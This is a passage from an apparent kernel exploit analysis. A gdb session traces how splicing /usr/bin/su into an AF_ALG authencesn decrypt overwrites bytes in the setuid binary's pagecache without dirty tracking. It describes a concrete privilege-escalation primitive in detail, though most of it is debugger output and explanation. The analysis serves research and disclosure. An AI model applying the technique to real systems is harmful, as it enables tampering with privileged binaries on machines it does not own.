The root cgroup name is an empty string. Nothing surprising here.

```
(gdb) set $nid=0
(gdb) set $zone=1
(gdb) set $gen=(int)((($folio->flags >> 53) & 0x7) - 1)
(gdb) p $gen

$163 = 2
```

This manually observes the MGLRU generation from the folio flags. It is currently in gen 2.

```
(gdb) set $refs=(int)((($folio->flags >> 51) & 0x3) + 1)
(gdb) p $refs

$164 = 1
```

refs is currently 1. This shows it has just been accessed, but it has not gained more references from further accesses yet.

```
(gdb) set $lruvec=&((struct mem_cgroup_per_node *)$memcg->nodeinfo[$nid])->lruvec
(gdb) p/x $lruvec

$165 = 0xffff888007400ac0
```

lruvec is derived from the memcg + nid pair.

```
(gdb) p $lruvec->lrugen.enabled

$166 = true
```

This shows MGLRU is in use rather than classic LRU.

```
(gdb) p $lruvec->lrugen.max_seq

$167 = 3
```

The current max_seq is 3.

```
(gdb) p $lruvec->lrugen.min_seq[1]

$168 = 0
```

Because this is pagecache, it can only appear on the file type path, i.e. the file-backed page chain, not on the anonymous side.

```
(gdb) p $lruvec->lrugen.timestamps[$gen]

$170 = 4294910276
```

This is the timestamp for gen 2. Comparing it before and after helps show that the object has not changed generation in this window.

```
(gdb) p $lruvec->lrugen.nr_pages[$gen][1][$zone]

$171 = 6121
```

This is the page count for su-demo in the current generation, file type, zone 1.

```
(gdb) p/x &$lruvec->lrugen.folios[$gen][1][$zone]

$172 = 0xffff888007400cd0
```

This is the corresponding folios list head address. That is enough for this analysis; I will not dig into the list itself.

```
(gdb) p/x $page->lru.next

$173 = 0xffffea0000330908
```

This is the next pointer in the MGLRU list.

```
(gdb) p/x $page->lru.prev

$174 = 0xffffea0000332108
```

This is the previous pointer of the page object in the LRU list.

At this point, the location of the su pagecache physical page in XArray, memcg, and MGLRU is clear. The scene is basically reconstructed. Now let crypto_authenc_esn_decrypt run to completion, then inspect the tail bytes, page flags, and PTE of the same physical page again.

```
(gdb) finish

Run till exit from #0  crypto_authenc_esn_decrypt (req=0xffff888007e35290) at
crypto/authencesn.c:244
0xffffffff82170009 in _aead_recvmsg (sock=0xffff888007375040, sock=0xffff888007375040,
ignored=<optimized out>, flags=0, msg=0xffffc9000082fd78) at crypto/algif_aead.c:283
283                     crypto_aead_decrypt(&areq->cra_u.aead_req),
Value returned is $143 = -74
```

The return value is still -74, i.e. EBADMSG. This error itself is irrelevant in the current context, because even if EBADMSG is returned, the physical page contents have already changed. In other words, "the operation returned an error" and "pagecache was modified" are not mutually exclusive here.

```
(gdb) x/16bx $kva+0xff0

0xffff88800cc83ff0:  0x41  0x41  0x41  0x41  0x22  0x00  0x00  0x00
0xffff88800cc83ff8:  0x00  0x00  0x00  0x00  0x00  0x00  0x00  0x00
```

Note this carefully: it is still the same PFN, same PA, and same KVA. The first four bytes at the page tail changed from 01 00 00 00 to 41 41 41 41, exactly at offset 0xff0.

(gdb) p/x ($page->flags & (1UL << PG_dirty))

$144 = 0x0

The contents have changed, but the key point is that PG_dirty is still 0.

(gdb) p/x ($page->flags & (1UL << PG_writeback))

$145 = 0x0

PG_writeback is still 0 as well. At this point, the data has changed, but the struct page state did not change. This is another indication that the modification did not go through the storage stack path it should have used. More precisely, because PG_dirty is not set, there is no normal dirty/writeback basis for flushing this change to disk; PG_writeback being 0 only tells us there is no writeback I/O currently in progress.

(gdb) p/x $pte[((unsigned long)$addr >> 12) & 0x1ff]

$146 = 0x800000000cc83025

The PTE is still the original value. It did not change to another PFN because of this write.

(gdb) p/x ($pte[((unsigned long)$addr >> 12) & 0x1ff] & 0x40)

$147 = 0x0

The user hardware PTE dirty bit is still 0.

(gdb) p/x ($pte[((unsigned long)$addr >> 12) & 0x1ff] & 0x2)

$148 = 0x0

The user PTE is still not writable. This is critical: the page contents changed, but page dirty state and the user hardware PTE dirty bit did not change along with it. This is not like a normal storage-stack write path with normal dirty tracking.

This point needs to be spelled out to avoid ambiguity. In this scene, the same PA has at least two hardware PTE mappings: one user PTE corresponding to the user-space VA, and another kernel-side direct-map leaf entry corresponding to the KVA I used earlier. Some people call this an alias mapping, although I do not personally like that phrasing much. The direct map is created during boot with PAGE_KERNEL-style attributes and is R/W by default, so I will not manually walk that page table here. Whichever mapping actually performs the write is the leaf entry on which the MMU updates accessed / dirty. The other mapping is not automatically updated. Separately, PG_dirty on struct page/folio is the kernel's own software state for pagecache / writeback. It overlaps with hardware PTE dirty in some cases, but they are not one-to-one. PG_dirty is closer to the kernel's decision that a file-backed page should be treated as dirty

and may later enter writeback. These two dirty concepts only have direct interpretive value together when looking at the same normal write path.

Now return to user space and inspect the same mmap window again. User space can immediately see that those four bytes changed.

```
>>> out=s_op.recv(4096)
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
OSError: [Errno 74] Bad message
>>> print('RECV_LEN', len(out))
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
NameError: name 'out' is not defined. Did you mean: 'oct'?
>>> print('HEAD_AFTER', bytes(mm[:64]).hex())
HEAD_AFTER
7f454c4602010100000000000000000003003e0001000000203f0000000000004000000000000000c0d1000000000000000000400038000d0040001f001e00
>>> print('TAIL_AFTER', bytes(mm[MARK_OFF:MARK_OFF+WINDOW]).hex())
TAIL_AFTER 41414141220000000000000000000000
```

The user-space view is even more direct. recv still returns EBADMSG, but from the same mmap view, the page tail has changed from the original 01000000220000000000000000000000 to 41414141220000000000000000000000. We already proved that the PTE for this private mapping points to the file-backed page: before the first page fault, the PTE was 0, and after the fault it pointed to PFN 0xcc83. Therefore the change observed here is the same change seen in the kernel on that pagecache page.

Now summarize the entire chain and clarify the relationships among pagecache, XArray, MGLRU, reclaim, and writeback.

In the first half, the process with pid 98 creates a 4K ACCESS_COPY mapping of /usr/bin/su. The user VA is 0x7f565f5a5000. On the first mm[:4096], handle_mm_fault sees that the final PTE in the pagewalk is still NULL. Continuing into filemap_fault, vmf->pte is still NULL, and the i_pages.xa_head of the address_space for /usr/bin/su is also 0. Then __filemap_add_folio creates struct page (folio) 0xffffea00003320c0 for index 0. Before xas_store, xa_head is empty; after xas_store, xa_head directly becomes that struct page (folio). In essence, page 0 of /usr/bin/su has been inserted into its own XArray pagecache. Later, the user PTE for the same VA becomes 0x800000000cc83025. Its PFN is 0xcc83, which matches the PFN, PA, and KVA of the pagecache page. At this point, the loop is closed: the first read made su's file-backed page enter pagecache and established a user mapping to it.

In the second half, the AF_ALG aead socket first receives 16 bytes of AAD (sixteen 0x41 bytes). Then the script sends 4096 bytes of /usr/bin/su again through splice file->pipe->socket. When aead_recvmsg reaches crypto_authenc_esn_decrypt, req->assoclen = 16 and req->cryptlen = 4084.

After decoding req->dst's scatterlist, the third segment sg2 covers only four bytes starting at in-page offset 4080. The target struct page (folio) is exactly the same 0xffffea00003320c0 that was previously inserted into pagecache. Before the write, walking backward from page->mapping->host still gives inode 1882, i.e. /usr/bin/su. Looking into XArray, slot 0 of the xa_node still contains this page. From the memcg perspective, the page is charged to su-demo. From the MGLRU perspective, in this run it is in gen 2 with refs = 1. Then crypto_authenc_esn_decrypt returns EBADMSG, but at the same moment the page tail has changed from 01 00 00 00 22 00 00 00 ... to 41 41 41 41 22 00 00 00 .... Reading through the user-space mmap again shows the same TAIL_AFTER value: 41414141220000000000000000000000.

The interesting part is that the physical page state did not follow the content change. Before the write: PG_dirty = 0, PG_writeback = 0, and the user hardware PTE dirty bit = 0. After the write, they are still PG_dirty = 0, PG_writeback = 0, and user hardware PTE dirty bit = 0. The PTE is even still the same 0x800000000cc83025. This means those four bytes really entered the pagecache of /usr/bin/su, but the page did not go through normal dirty tracking and did not become a dirty page from the kernel's point of view. Since it is not dirty, normal writeback semantics have no dirty page to flush; the storage stack path was not taken. From the reclaim side, MGLRU still sees an ordinary file-backed page: it is managed by XArray, attached to the lruvec of su-demo, currently in gen 2, and just accessed. In the short term, it is therefore unlikely to be reclaimed first. This is why the exploit can claim a near-100% success rate in common scenarios. But as long as the page remains clean, if clean reclaim later selects it, this modification can be discarded together with the pagecache page. The on-disk /usr/bin/su would still contain the old content. This semantic split between the physical page's reclaim state and its pagecache content is similar in spirit to the topic I presented at Black Hat Europe 2025, except that my topic was post-exploitation: it assumed guest privileges and focused on bypassing host VMM monitoring.

One more thought: if this page already existed before the modification and had already been marked dirty, but this particular modification still bypassed the normal dirty tracking path, then later writeback might flush this abnormal content to disk together with the dirty page. I do not know exactly what would happen in that case.